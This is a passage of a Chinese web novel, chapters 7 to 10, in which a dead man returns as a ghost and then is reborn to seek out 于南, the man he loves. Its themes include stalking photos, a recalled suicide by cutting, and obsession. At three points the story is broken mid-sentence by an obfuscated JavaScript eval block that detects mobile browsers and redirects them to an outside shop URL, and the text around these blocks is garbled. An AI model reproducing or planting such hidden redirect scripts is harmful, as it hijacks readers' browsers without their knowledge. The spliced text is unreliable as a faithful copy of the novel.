再次回到地下室后,于南进了房间,第一件事就是去翻床垫下压着的一堆照片,他一张张缓慢地查看,看着上面的同一张脸,仿佛只有这样才能缓解他没法见到本人的难捱。 照片都有一个特点,就是框角处卷了边,有几张上面还蹭了不少的泥渍,擦拭不掉,黑灰的一片脏迹侵蚀到照片中央,也遮住了仅有几张照片里完全露出来的那张脸。 照片里少年的眉眼从稚嫩渐渐张开,也从最初的畏缩变成了之后的自信无畏。 有光明正大的拍摄留存,也有用不光彩的手段偷拍私藏。 其中一张照片里视角是从楼道窗户的铁栅栏往外俯视拍摄,那条道路就是哈市最繁华的一条小吃街,照片定格的画面中央,有几个身影,其他几张脸都被马克笔胡乱涂黑,只有最中央的那人的脸是清晰的,正在咬着一串关东煮。 于南用指腹摸了摸那张脸,喃喃道:“小宝。” 迟雾刚进门就看见于南正在对着照片叫着亲昵的称谓。他现在想死,想自杀。 于南在对着别人叫小宝。 迟雾连扑过来的九月三都不想理会。其实他只要再进一步就能看清照片上那张脸,但都这种情况了,看不看清又有什么区别。 记住于南现在恋人的脸吗? 他连叫那人狗男人来泄愤的资格都没有了。 他才是正在觊觎于南的狗男人。 迟雾躺到地板上,视线落到天花板上。 老天,你真是个大傻.逼。 折磨人也不能这么折磨。 以前迟雾还能叼着“三年后就能抱到于南”作为念想,现在连这一丁点吊着他的东西都没了,他彻底成了具行尸走肉。 只能在心底一遍遍地骂老天爷。 迟雾的胃里一阵翻山倒海的疼痛,酸水往喉咙里挤压,仿佛下一秒他就要干呕得像一只正在被抽筋拔骨的鱼。迟雾条件反射地不停往下吞咽,试图压住那股反胃的劲儿。 他十四岁的时候总是这样无缘无故地呕吐,那时候他妈最初还会耐心地抚慰他,后来可能是被酸水的臭味熏得实在受不了,每当他要吐的时候就阴沉着脸盯紧他。 迟雾被那样的眼神凌迟上万遍,他慢慢学会了怎么控制反胃想吐的感觉,后来再没由来的想吐,他也能淡定自若地控制好每一寸肌肉,不让人察觉出端倪。 可现在,迟雾发现,他连这唯一的本事都失去了,他吐得天昏地暗,可他胃里什么都没有,哪怕他特意跑到盥洗室,也于事无补,他吐不出来任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199122|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何东西。 迟雾还挺庆幸的,幸亏他什么都没吐出来,要不然那呕吐物从他身体里出来,估计也没法被现实里的工具收拾干净,虽说别人看不见,但迟雾心里膈应,这种东西存在在于南的房子里,实在是对他的亵.渎,他都要替于南恶心。 迟雾瘫倒在地上,用手抓着地板爬回于南面前。 这是他的狗窝。 他要待在于南的脚边,待在他的眼皮子底下。 迟雾伸出手指碰了碰于南的裤脚。 “别看了于南,别看照片了,别看他了,看看我吧,看看我吧。” 这话太过无理。 迟雾觉得眼睛里面有酸雨,火辣辣地把他的眼珠子给灼伤烧毁,他要是还有血,现在脸上肯定有两行血泪替他委屈巴巴地叫怨。 早知道,他不自杀好了。 直接掘坟把于南的尸体挖出来。 抱着他的尸体过一辈子就好了。 他怎么就那么贪心想要活的呢。 现在好了,什么都没了。 于南感觉到脚踝处冰凉一片,他知道是那只鬼。 他在贪恋活人的温度吗。 或许吧。 于南不懂鬼的想法,也没兴趣懂。 他只想过好现在的日子,先把他的迟雾给找回来。 于南思绪复杂地重新将照片压在床垫下。 他一抬眼,就看见九月三躺在地板上,而不远处,有着一滩小小的水渍。 于南拢了拢眉头,走过去,用手指触碰了下那滩水,而后抬头看了眼天花板。 天花板上的油漆面是干燥且布满裂痕的。 水不是从上面掉下来的。 那这水是…….. 于南勾起水滴,凑到嘴边舔了下。 咸的。 像眼泪。 谁哭了。 他的狗吗。 还是那只鬼。 迟雾昏迷前一秒,就看见于南替自己抹了下眼泪,好像一切都回到了很久之前,至于究竟有多久,迟雾凝固成冻水泥的脑袋根本想不明白。 他只是觉得这又是自己的幻觉。 他闭上了眼。 睡了很长很长的一觉。 再次睁开眼。 迟雾眼前蒙了一团雾,让他分不清白天黑夜。 他下意识地伸手扯了下身上的病号服,只有抓着点儿什么他才觉得安心。 抓住衣服,迟雾翻了个身,把脸埋在被子里。 …….. 被子!? 迟雾一个鲤鱼打挺就坐起来了。 他左右环顾了下,却发现黑暗一片。 迟雾的脑袋转不过轴。 又回到黑暗世界里去了? 那被子是他的幻觉? 见到于南也只是一场梦? 迟雾重新躺回去。 ……..不对啊。 这幻觉有点儿……..忒真实了吧? 迟雾扭动了下身体,把整个人都挤到被子里去,直到身体被棉质布料包裹起来,他还是觉得不对劲。 太真实了。 迟雾陡然发现视野里的一切渐渐清晰,如同肉眼正在适应黑暗。 迟雾察觉到什么,屏住呼吸,把手往身侧一摸,往下一摁。 床头小台灯亮起淡黄色的昏光。 房间内的全部布置被一一照亮。 这是——他的房间!? 迟雾再次坐起来,一股烟地下了床,把窗帘扯开,待看清将亮未亮的天,以及熟悉的楼宇建筑,他终于敢确认,他回家了! 迟雾慌忙地从枕头下摸出手机。 查看日期。 二零二一年十月十一日。 凌晨三点零四分。 他胡汉三又回来了! 他变回人了! 迟雾在自己身上胡乱摸索一通。 热的,他有体温了! 他以活人身份回到八年前了哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈! 8. 第 8 章 迟雾在床上胡乱扑腾了一阵,还是难以压抑住心底巨大的兴奋感,直到房门被敲响,下一刻,随着门把手被旋转的声响,门也被一同推开。 迟母站在门缝后看着床上的一片狼藉,微不可见地蹙了下眉头,一只手拢了拢身上披着的外套,才温声道:“小雾,该睡了,熬夜可不是个好习惯。” 迟雾倏地从床上坐起来,跳到地上,直接朝着迟母身上扑过去。 上辈子。 在他确诊癌症前一年,迟父、迟母一同死在了突发的连环追尾车祸中,死状惨烈,他们死后,迟延宁整个人也彻底陷入悲痛中,用沉默寡言包裹住自己,专心扑到工作上,连带着对迟雾这个弟弟也鲜少关心,甚至可以称得上是冷淡漠视。 最后,迟雾被送往疯人院,迟家彻底只剩下迟延宁这个孤家寡人。 迟雾紧紧抱着迟母,将下巴压在她的肩头上,叫了声:“妈。” 迟母怔了下,随后抬手摸上迟雾的头发,动作轻柔,语气也在此刻软和更多,“做噩梦了?” 迟雾沉默两秒,闷闷地“嗯”了一声。 迟母轻轻叹了口气,又问:“梦到什么了?” 顿了下,迟母接着问:“又梦到孤儿院了?” 迟雾想说不是,想说我梦到你们都死了,我也死了,但话到嘴边又生生止住,算了。 迟雾说:“算是吧。” 迟母眉心拢得更紧,她双手抓着迟雾的肩膀,两人分开些距离,细细地看着迟雾脸上的微表情,待她看见迟雾确实只有满脸沉闷时,才抿抿唇,说:“明天请李医生来家里一趟吧。” 李医生,迟家专聘的心理医生,就是为了给迟雾治疗总做噩梦这个病,但每次李医生来,都只会同迟雾说些有的没的,仔细问些梦里的内容,发现迟雾也记不得后,她便会为这场治疗画上句号,而迟雾则收获了几盒安神的药。 迟雾不喜欢吃药。 但迟母总会叮嘱着他,看着他把药准时吃下去。 这次也不例外。 李医生收起治疗工具,拢起身上的大衣,一边如往常般叮嘱道:“不要经常去想梦里的内容,也有可能是上一次做梦后,你总会有意识无意识地想起它,给自己下了层心理暗示,所以后来的梦都是围绕着它展开的,这样对大脑不好,更严重的话,会导致精神分裂。” 迟雾重复道:“精神分裂?” “对。”李医生停下了手上的动作,站直,视线笔直地落到迟雾的脸上,她的视线总是格外具有穿透力和压迫感,“幻视、幻听,甚至构造出一个或多个假想、不存在的个体。” 不存在的个体。 迟雾反复在心底念叨这个字眼。 李医生看着他的目光逐渐加深,“怎么?你现在已经出现这种情况了吗?” 说着,她从一旁抽出一根笔,用笔敲击了下掌心,不重不轻的声响瞬间将迟雾的注意力全部吸引过去。 迟雾条件反射般摇摇头,“没有。” 李医生还欲多问,房间门就被迟母从外推开。 迟母敲了下门,笑吟吟地看着李医生,问:“很严重吗?” 李医生不动声色地看了眼迟雾,而迟雾好死不死和她对上视线,被她这一眼看得整个人莫名紧张。 好在,李医生很快移开视线,朝门外走。 在门关上前,迟雾听见她说了句:“和以前一样,多注意休息就好。” 迟雾松了口气。 他知道,李医生绝对看出了自己身上的端倪。 可迟雾现在顾不得去考究李医生到底为什么这么做,出去之后又有没有泄漏什么,他现在满脑子都是“精神分裂”四个字。 难不成上一辈子包括于南都只是他假想出来的一切? 可他自杀时的疼痛那么清晰。他到现在都记得,那把匕首刀刃很钝,他反复割了十三道才割到了很深的位置,血一瞬喷涌而出,淹没视野,淹没世界。 迟雾回想于南身上的温度气味。 也都是那么清晰,好像一辈子都不会忘却。 门再次被推开。 迟母面上带笑,正和李医生闲聊。 她拍了拍李医生的手,说道:“你妹妹也很争气呀,听说又考了第一名呢。” 李医生笑了笑,只颔首,没应声。 李医生干脆利落地收拾好一切,离开了迟家。 迟母手里端着杯温水。 迟雾就知道是要他现在就开始吃药。 迟雾从迟母手中接过个白药片,却鬼使神差地没先喝水,而是把药片放在嘴里,用舌头抵在上颚处,苦涩味瞬间弥漫开来,迟雾被苦得脸上皱成一团。 干吃药这么苦,于南怎么做到面不改色的。 迟雾乖乖接过水杯,把残余的药片顺了下去,但苦味好像就那么根种在了他的口腔里,经久不消。 迟雾梗着脖子,“妈,糖。” 迟母瞬间递上去颗彩皮糖果。 迟雾从小就怕吃苦,迟母身上也一直带着糖。 把糖含住,迟雾才觉得好了不少,顺了口气。 迟母看了眼墙上挂着的钟表,嘱咐道:“一点钟的时候时候不要忘记再吃一片,学校里替你请了假,在家好好休息吧。” 迟母从来不看重迟雾的学业,不强求,甚至是不在乎,仿佛迟雾学习不好才是最正确的事。 迟雾有时候想,或许是因为他哥学习特别好,从小就刻苦努力,吃了不少苦,有他打头路,自己才不用再折磨自己去学那些让人看一眼就脑袋疼得不行的东西。 “那钢琴课呢?”迟雾又试探着问。 迟母瞬间沉下脸,说道:“这个必须要上。” “好吧,知道了。”迟雾瞬间蔫了。 迟母走后,迟雾掐着时间等了十分钟,直到门外传来汽车启动的声响,迟雾才松了口气,瞬间一个鲤鱼打挺从床下跑下去。 推开房门,迟雾左右探头勘查了下局势,确认好家里只剩佣人了才放心大胆地往外走。 迟雾下了楼梯,看都没看一眼厨房里做好的早餐,直接随便抓了把车钥匙就往外冲,但刚走到门口,他低头看了眼车钥匙,思忖两秒,又退回去,精挑细选地换了一把钥匙。 迟雾踩下油门,伴随着尾气喷洒,轰鸣声阵阵,他带有目的性地直奔于南家的方位。 一路上像是老天刻意刁难迟雾,几乎每个红路灯都在迟雾要过去一瞬变成刺眼的红。 迟雾在被等待时间磨着耐心,他不耐烦地用手指敲着方向盘,将音乐声开到最大,一路上都是他车内暴躁的摇滚乐声。 这个红路灯。 迟雾车旁停着的那辆车降下车窗。 他们已经一起等待了四五个红路灯。 车窗降下,露出里面一张张扬的笑脸。 “hello,让我瞧瞧这是谁?”男生将车窗降到最低,整个人趴在门上,胳膊撑着脸,他笑时桃花眼上扬,一看就是个不省心的主。 迟雾冷淡地瞥了他眼。 温琳。 出了名的浪.荡子弟,经常拐着迟雾和他一起去山顶赛车。但迟雾对这些东西都是新鲜感居多,新鲜感绝不超过三分钟,迟雾唯一一直坚持着的,也就是学钢琴,因为这是迟母希望的,并且强迫的。 温琳也经常光临迟雾的钢琴演奏会,坐在台下大声鼓掌,然后在一切结束后偷溜到后台,试图把他拐出去鬼混。 但可惜,迟雾坚守本心,每次钢琴演奏会结束后都要去江边吹风,没一次被他拐跑。 上一辈子迟雾生病后,也只有他来探望过一次,就那一次,之后就没了联系。 迟雾对他没什么感情,也算不上的真正的朋友,狐朋狗友,打发时间的而已。 但他去探望过迟雾。 迟雾回了句:“是我。” 温琳笑眯眯地从车后座抽出来一支玫瑰花,扔到迟雾怀里,“接着,骚包拉法配红玫瑰,绝配。” 下一刻,红路灯转绿,他对着主驾驶上的另一个男生一声令下,跑车似弦般潇洒飞出去,只留下一片尾气。 迟雾抓住红玫瑰,踩下油门,却没追上去,而是转了个弯,换了另一条不大拥堵的车道,停在路旁,在导航里搜索了番。 定位,出发。 至于那支红玫瑰,被迟雾插在了垃圾桶里。 一片恶臭的塑料堆里,一抹红色停留其上。 迟雾驶到那家便利店门口时,时间刚好十点钟。 他朝便利店内看了看。 里面站着的店员是另一个生面孔,看起来年龄要稍大些,整个人沉闷内敛。 迟雾给车熄了火,走进便利店。 迎宾铃一响,一切回到初始。 迟雾深吸口气,动作缓慢地走到收银台旁,“一盒□□爆珠,还要一个防风打火机。” 店员从身后摆台上拿下盒烟,又挑了个打火机试了下,确认能正常点火,便一齐放在收银台上,动作干脆利索地扫码,确定账单。 “一共二十五元。”店员说。 迟雾拿出手机,切到付款码页面,递过去,与此同时,他的视线也在一点点地打量这家便利店。 没错。 一切都和他印象中一样。 绝不可能是他幻想出来的。 把烟和打火机揣到兜里,迟雾没动。 店员半晌后察觉到,抬头看了他眼,“还需要什么吗?” 迟雾下意识地咽了下口水,问:“我能问一下,你这儿有一个叫于南的店员吗?他大概是晚上八点的时候上班。” 店员皱了下眉,回想数秒,才摇摇头,“不好意思,这个我不清楚。” 迟雾的心从紧绷着的高处一下跌落到谷底,又回弹了下,飘荡在低空上。他抿抿唇,“哦”了一声,才说:“谢谢了。” 走出便利店,迟雾站在冷风中,抬头看着面前的街道。 一切都如此熟悉,却又陌生。 迟雾吐了口气。 他现在要干什么? 直接闯进地下室里,直接跑到于南面前说我是你八年之后的男朋友?还是想写别的办法确定于南的存在然后再一脸落寞地踩着一点钟的时间回家吃药? 迟雾坐回跑车上,看了眼放在副驾驶上的一整束红玫瑰。 看来是送不出去了。 迟雾把刚买的烟掏出来,随手扔到副驾驶上,然后一手拿起红玫瑰,安静地打量着。 还算不错。 但其实,不大配于南。 于南安静平和,应该更适合水仙花,但谁让红玫瑰这种花被烂俗的世界同爱情挂上了勾,几乎成了感情里的金字招牌,只要你想发展一段至死不渝的爱情,就要用它来叩想那个梦中情人的房门。 迟雾想把红玫瑰放在于南的床头,就像一把野火一样,把于南卷进自己的梦里。 别再梦孤儿院这种东西了。 至少来点儿有水准的。 来些和于南的春.梦呢。 迟雾又掏出来打火机,打算把红玫瑰烧了,下次踩着点儿过来,再给于南买新的,但打火机刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199123|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举起来,手指还没摁下去,那束玫瑰花就被人不客气地夺走。 迟雾顺着那双白皙的手看过去。 正对上温琳恶劣的笑。 温琳左右打量着红玫瑰,颇有兴味地问:“这是送我的回礼?” 他拉开车门,直接整个人砸到副驾驶里,跳脱地像个招人厌的猴子。 “不是。”迟雾懒得跟他解释,但念着这人看过自己一面,还是补充了句:“送给喜欢的人的。” “喜欢的人?”温琳动作一顿,扭头看他,“谁?我认识吗?” 迟雾摇摇头。 你不认识他,他也不认识我。 现在,我这还是单相思呢。 迟雾说不出口这么可怜的话,干脆闭嘴。 温琳挑了下眉,把玫瑰花重新放进迟雾的怀里,动作不算温和,玫瑰花瓣还掉下来了几片,散落在车内,“我看你刚才准备给它烧了?怎么着,表白被拒了?” “没有。”迟雾有气无力地说。 他哪有被拒绝的资格啊。 惨兮兮的。 哎。 迟雾往后一靠,问:“你来干什么?” 温琳耸耸肩,“没事儿干,出来溜达溜达,结果就碰见你了,又请假了,小病秧子?” 停顿一秒,温琳又打趣道:“你这总爱生病全是因为你老在家里闷着,搞些什么弹钢琴的高雅活动,听着够装逼,其实连气都不通,忒没意思,你就应该跟我出去潇洒,保准以后你身强体壮,再也不生病,到时候你指哪打哪,谁不喜欢身体健壮的男人啊,那时候你还用得着哭丧着脸躲在这儿烧玫瑰花?” “全是歪理。”迟雾说:“有人就喜欢我这样的,我生病了他也喜欢。” 温琳笑了声,“所以呢,牵出来溜溜?” 迟雾给了他一记眼刀,“滚。” 温琳不再跟他插科打诨,顺势说了些别的:“话说回来,你哥是不是快过生日了。” 迟雾不记得这些事,“应该吧,干什么?” 温琳说:“你哥生日宴会还和去年一样吧?上次吃那提拉米苏我到现在都念念不忘,想死我了可。” 温琳又接着问了句:“你哥那女朋友是不是这次也要出席了?应该快宣布联姻的事儿了吧。” 他扭头看着迟雾问:“你呢,你以后也要联姻吧,家里跟你说看好哪家的了吗?你不都成年了,应该没两年就要订婚了。” 迟雾还记得呢。 上辈子确实有这一茬。 迟母给他看了家。他向来不在乎这些,没个喜欢的人,又被一直灌输联姻的必要,自然坦然接受了。 但在订婚宴前几天,婚约突然取消,这事儿之后都没人提起过,也不知道是因为什么。 这也导致,迟雾到现在都不知道那个准备和他订婚的人到底长什么样。 估计这辈子也是这样。 迟雾干脆说:“我不订婚。” 温琳问:“因为有喜欢的人?” 温琳轻笑了声,说:“真爱至上可不提倡,你哥可还在上头压着呢。” 还没等迟雾深思他这话到底是什么意思,他就接着说:“跟我出去溜溜?我给你开解一下心结?我可是情场法官,没有我看不透的局。” 迟雾不打算跟他走,现在这个时间要是和温琳走了,他保准要用“时间还早”为借口把自己拐到深山老林里去,没意思透了。 迟雾干脆问:“我喜欢别人的男朋友怎么办?” 停顿了下,迟雾又自觉改正了下措辞:“我该怎么撬墙角?” 温琳:“……..?” 温琳一手摩挲着下巴,神情复杂地盯着迟雾,好半晌,他才憋出来句:“迟雾,你玩的这么野啊?” 迟雾懒得跟他解释,问:“所以你这个大法官也没办法是吧?” “谁说的?”温琳当即理了理衣领,咳嗽两声,“办法多多的好吧。” “你先告诉我他是个什么样的人,他男朋友又是个什么样的人,我才能给你想办法。”温琳说。 迟雾思忖两秒,说:“他长得很好看,不是一般的好看,就是你一看见就眼前一亮,然后想跟在他身后一辈子的那种好看,他还特别细心温柔,很会照顾人,你听他说话就觉得像听夜莺唱歌一样。” 温琳:“……..” 他妈的小学生措辞全搞上来了是吧。 为爱无脑夸是吧。 温琳听不下去了,这他妈的简直叠加了一百层滤镜啊,有什么参考必要啊。 夜莺成精了是吧。 温琳打断他,问:“他男朋友什么样?” 迟雾脸色一沉。 “卑鄙无耻。” 卑鄙地提前遇到于南。 “不懂珍惜。” 居然不二十四小时黏着于南。 “貌丑无比。” 情敌绝对丑陋。 “两面三刀。” 温琳:“……..” 服了。 温琳满脸无语地扭头看窗外,顺便伸手把音乐声调到最大。 让他回到自己的小世界里吧。 祈祷。 但一转头,温琳就对上一道视线。 那道视线如同烙铁般生摁在温琳的身上。 温琳顺着那道视线看过去,就看见了一个牵着狗的男人站在风里,视线直勾勾地盯着自己,没有半分情绪。 而那只狗也在盯着他。 两道视线如出一辙。 仿佛已经盯着他很久了。 9. 第 9 章 于南冷着眉眼,他怎得也没想到,从地下室走出来,一推开被风吹得轻微颤着的玻璃门,再一抬眼,就看见了那个他正在寻找的人儿。 看着那个人的副驾驶上还坐着另外一个男生,他们之间还梗横着束艳丽的红玫瑰,像一团正在燃烧的火,在这个寒冷的初冬,将于南与这个季节一同抛却到一个冰冷的角落,让他眼睁睁地看着迟雾和别人围着烧得正烈的柴火咔嚓乱响。这两人贴得极近,一人喋喋不休地讲着话,另一人就附耳去听。 于南抓着狗绳的手逐渐用力,视线也定格在副驾驶那人的背影上挪不开。 直到那人转头,他们对上视线。 于南仍旧没移开视线。 温琳皱了下眉,下意识地歪了下脑袋,像是无声地在问——我们认识吗? 于南这才慢吞吞地收回视线,垂眼去看正蹲坐在自己脚前的九月三。 九月三似乎察觉到什么,抬起前爪往前走了一小步,却又感知到主人并未行动,又小心翼翼地退回原地,不知所措地抬眼盯着于南。 于南伸出手摸了摸九月三的脑袋,才说:“再等等。” 九月三听不见声响,但感觉到于南的手掌,把头往过凑着蹭了蹭,温顺地蹲在原地等待。 寒风一阵接着一阵,于南穿着单薄的外衣,任由冷风将他整个人压住。 于南再次抬眼看向迟雾,没去理会温琳那不解的神情。他现在只想多看看迟雾,看看他瘦了还是胖了,开心还是难过。 应该是开心的吧。 像是谈了男朋友。 于南看得一阵眼热。 迟雾察觉到温琳没了动静,朝着他看了眼,问:“你知道该怎么挖了?” 温琳被他冷不丁一句吓得身体抖了抖,重新扭过头,先扯了抹笑,努力把八颗白牙都露出来,才眼神飘忽着说:“迟雾啊,你有照片没,你这措辞,不客观啊。” “怎么不客观了?”迟雾不满道:“温琳,你又没见过他俩,你根本就什么都不知道,还大法官,你是个屁的法官!我以后别做个贪官就不错了。” 温琳摸摸鼻子,无奈地小声嘟囔道:“我爹也不可能让我从政去当官啊,我顶多也就一小商贩。” 小商贩。 哪有小商贩天天跑车不重样的。 温琳往后靠了靠,却感觉后腰处压住了个东西,硌着他腰骨不大舒坦,他伸手朝腰后摸了摸,把那东西抓到面前,就看清了是盒烟。 温琳颇为稀奇地把烟盒在手里掂了掂,“新的,没拆封的,给谁买的?你喜欢那人?” “没。”迟雾觉得那音乐声实在刺耳,先给音量调低了些,又切了下一首,电台自动播放,跳转出来首钢琴曲。 valse sentimentale no.2 忧郁圆舞曲。 迟雾无所谓听什么,别搞那些狂躁得让人听着心发慌的就行,他现在心情不算好,也懒得一遍遍去精准得挑一首完美符合他此刻心境的歌,干脆就听着这曲,没接着切歌。 他往后一靠,视线往便利店内飘,好像那样一直盯着,就能在下一刻看见于南。 温琳看他满脸惆怅,笑了声,手上把烟盒塑料包装给拆开,扯掉封纸,从里面掂出根烟咬住,唇齿含糊地说:“那是打算自己抽?这算什么,失恋太惆怅?少年不知愁滋味,现在知道了?” “没失恋。”迟雾猛地扭头盯他,说:“我只是还没搞明白该怎么撬墙角。” “嗯嗯嗯。”温琳敷衍地点点头,从裤兜里掏出打火机,给烟点燃,慢慢地吸了一口,才接着说:“那人有钱吗?” 迟雾如实说:“没钱。” 于南的地下室里甚至空荡得像无人入住的房子,里面添的日常用品都少得可怜,那么小的地下室,估摸着也就和于南打工的便利店差不多大,不对,甚至还要小一点儿。 听此,温琳来了句:“那你还愁什么?” “什么?”迟雾没听懂。 温琳接着说:“他没钱,你有啊。” “对啊。”迟雾说:“我会给他很多很多钱,我的就是他的,他的也会是我的。” 迟雾开始畅想未来道:“我们在城南买一套别墅,然后把他的狗也接过来,我们一家三口住在一起,一辈子。” 温琳:“……..” 你小子抓不住重点啊? 温琳被飘散开来的烟雾呛了下,下意识地别开头,不想去看迟雾那张脸,但一扭头,他又和那路边的男人对上视线,那个男人像是不打算走了,像是打算就那么站在那儿,一直盯着他们,直到他们离开这片地境。 那男人长得还算漂亮,只不过身子骨太过瘦削,可温琳就吃这一套,他男女不忌,看得顺眼的,都能将上两句情啊爱啊的,他就那么盯着于南,用视线将他从上到下的每一寸都打量了个遍。 显而易见。 这个男人很贫穷。 单薄透风的外衣,细窄的锁骨裸露在外,裤子有些短,脚踝在外漏着一截,脚上踩着的鞋子也是很普通的款,甚至是前几年的,鞋边胶条氧化泛黄。 温琳陡然开口道:“迟雾,我的意思时,想要挖墙角挖来个穷人,你只要给他钱就够了,给他他这辈子都赚不来的钱,让他见识从来没见过的东西,他就以为你的爱比别人高贵了,到时候不用你特意去挖墙脚,你只需要装作不知道他有另一半,他就会自觉把一切麻烦都给甩开,乖乖待在你身边。” 温琳一针见血道:“穷人总是为了钱什么都会去做,他们需要能获得不菲报酬的工作,那你就给他一个工作,工作内容就是给你爱,显而易见,这是个很公平的交易,你没必要费心心思去想些别的方法,这条小径,最快捷最简短。” 他又伸出手指了指不远处的于南,那动作实在是太过明晃晃,想让人忽视都难。他说:“迟雾,那个男人就是个需要钱的人。” 温琳嘴里的烟往外散着白雾,那白雾扭扭曲曲地遮盖住迟雾的视野,也遮盖住站在远处的于南的身影。迟雾朝那边看了眼,只看见个模糊的黑影,甚至都看不清轮廓。 迟雾问:“什么样的男人?” 温琳试着形容了下:“长得不错,却没有足够保暖的衣服,这片地带的房子基本都是用来出租的,看他站的那个方位,应当是住的地下室,他手里牵着的那只狗也……..” “很瘦”两个字还没吐出,温琳就感觉到迟雾掐住了自己的胳膊。 迟雾没什么力气,但这次,出乎意料的是,温琳明显感觉到他掐得自己的骨头有些细细麻麻的疼。 迟雾视线笔直地盯着那道身影,盯到那团遮挡的白雾散去。 而后。 他和于南对上视线。 迟雾的心像是一个随时会爆炸的炸弹,尖锐的声音响着倒计时,或许五秒后,或许三秒后,他就会因为这一个再简单不过的对视原地爆炸,嘭得一声,炸得整条街道都成了个看不见天的黑洞。 迟雾又开始条件反射似地扯自己身上的衣服,他后悔了,他出门前应该精心挑选一下衣服着装,他该穿最完美的衣服然后再做个造型,而不是像现在这样,草草地和他对上视线,然后就整个人僵硬成不会呼吸的雕塑,等待着别人来将他摔在地上,摔破外面的硬石膏,将他解救出来。 可现在谁能解救他,没人。 迟雾只能自己缓慢地调整着呼吸,他眨眨眼,又眨眨眼,两道交叠的视线不时被驶过的汽车打断,却又瞬间再次顺利连接上,没有人提前别开眼。 温琳看着迟雾瞬间变了的神情,拢了下眉头,在他眼前摆摆手,“傻了?” 迟雾看了他一眼,却没施舍给他半句话,而是快速打开车门下了车,然后朝着道路那边走去,走到距离于南三步远的位置才停住。 九月三在他靠近那刻就开始焦躁不安地原地打转,甚至连连小声呜咽了两声,不同于见到鬼魂迟雾的凶猛,他此刻看起来格外温顺,甚至称得上胆怯,面对陌生人的靠近时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不幸福,但又很幸福。 迟雾却一愣,这句话怎么听怎么奇怪,什么叫又做噩梦了? 迟雾不敢置信地拉开两人之间的距离,用那双有些泛红的眼睛笔直地看向于南的眸底,问他:“你知道我是谁?” 这话也很奇怪。 于南微不可察地拧了下眉头。 于南顺势问他:“你是谁?” 迟雾怔了怔,说:“我是迟雾,你认识我吗。” 你也是重新活了一辈子吗。 于南仔细地看了他两秒,通过他的微表情来分辨此刻局势,最终,得到个答案—— 迟雾认得他,但好像又不认得他。 哪出错了。 于南的大脑飞速运转,最后发现,一点儿可供参考的线索都没有。 自从入狱,他就没了迟雾的消息,没人去探监,也没人告诉他迟雾过得怎么样。他的人生有三年没写上“迟雾”两个字的短暂空白。 于南最终说:“你觉得呢?” 迟雾木讷地觑着他,试探性地问:“你胳膊上的伤口差一点儿就好了。” 那条划出来的伤口,在于南自杀的时候,结痂正在脱落。 只要再有一周,就能完全愈合。 于南抿抿唇,看着这个谨小慎微的人儿,搂着他的胳膊也下意识地松开了。 于南说:“你认错人了。” 同样叫于南,长得也相像吗。 于南想,那倒是还真够凑巧的。 也是这万里挑一的凑巧,让他获得了迟雾的一个拥抱。 刚才摸着迟雾的脊骨,他发现,迟雾这三年胖了些。 但怎么还是这么瘦呢。 10. 第 10 章 认错人了? 怎么会呢。 迟雾这辈子都不会认错这张脸。 他怔了下,就反应过来,于南以为他要找那个人手臂上有伤口。 看来于南没上辈子的记忆。 那于南怎么会说出那么句“又做噩梦了”的话呢,迟雾又意识到,于南方才抚摸他后背的动作实在太过亲昵,不该出现在一对刚见第一面的陌生人之间。 于南呢,是也把他错认成别人了吗? 谁呢。 那个男朋友吗。 那人和他长得很像吗。 迟雾倏地想。 那是不是,八年后于南遇见他后对他那么好,也是因为他长得像那个男人呢。 迟雾的心下沉到枯井底,他甩了甩脑袋,想把这个乱七八糟的想法给甩开。 于南不是那种人。 迟雾后退了步,努力露出还算完美的一抹笑容,缓慢道:“我叫迟雾,迟到的迟,雾霾的雾。” 于南垂着眼看他,抓着狗绳的手无意识地动了下,他也笑了下,只不过那笑看起来有些浅淡,他说:“我叫于南,于是的于,南方的南。” 迟雾在心底默默说了句,我清楚。 迟雾又看了眼九月三,问:“它呢,它叫什么。” 他只能这样笨拙地扯出来个话题。 于南轻声说:“九月三。” “是他的生日吗?”迟雾以前从来没听于南说过这只狗,也是,那时候他病得正重,一天也没几个小时是清醒的,有意识的时候就只知道盯着于南发呆,他俩能那样什么也不说,就安静地靠在一起,依偎一整天。所以迟雾总会觉得,他现在对于南的了解实在太过浅淡,远不如那些感天动地的爱情故事里的主角一般,对彼此的事情如数家珍,连对方身上有几颗痣都一清二楚。 迟雾想这次慢点来,一点一点来。他想知道关于于南的全部。 “算是吧。”于南说。 “算是吧?”迟雾重复了遍这模糊的字眼。 于南垂眼去看九月三,娓娓道来:“我前一阵子捡到它的,我不知道它生日是什么时候,但如果可以,九月三就当作是它的生日吧。” 迟雾蹲下身,打算伸手去九月三的脑袋,他全然忘了自己此刻已经是实体,被九月三咬上一口就是一道血淋淋的伤口,又或者说,他也不在乎被不被咬,若是被咬上一口,他反倒刚好有个理由赖着于南,时时刻刻在他眼前刷存在感。 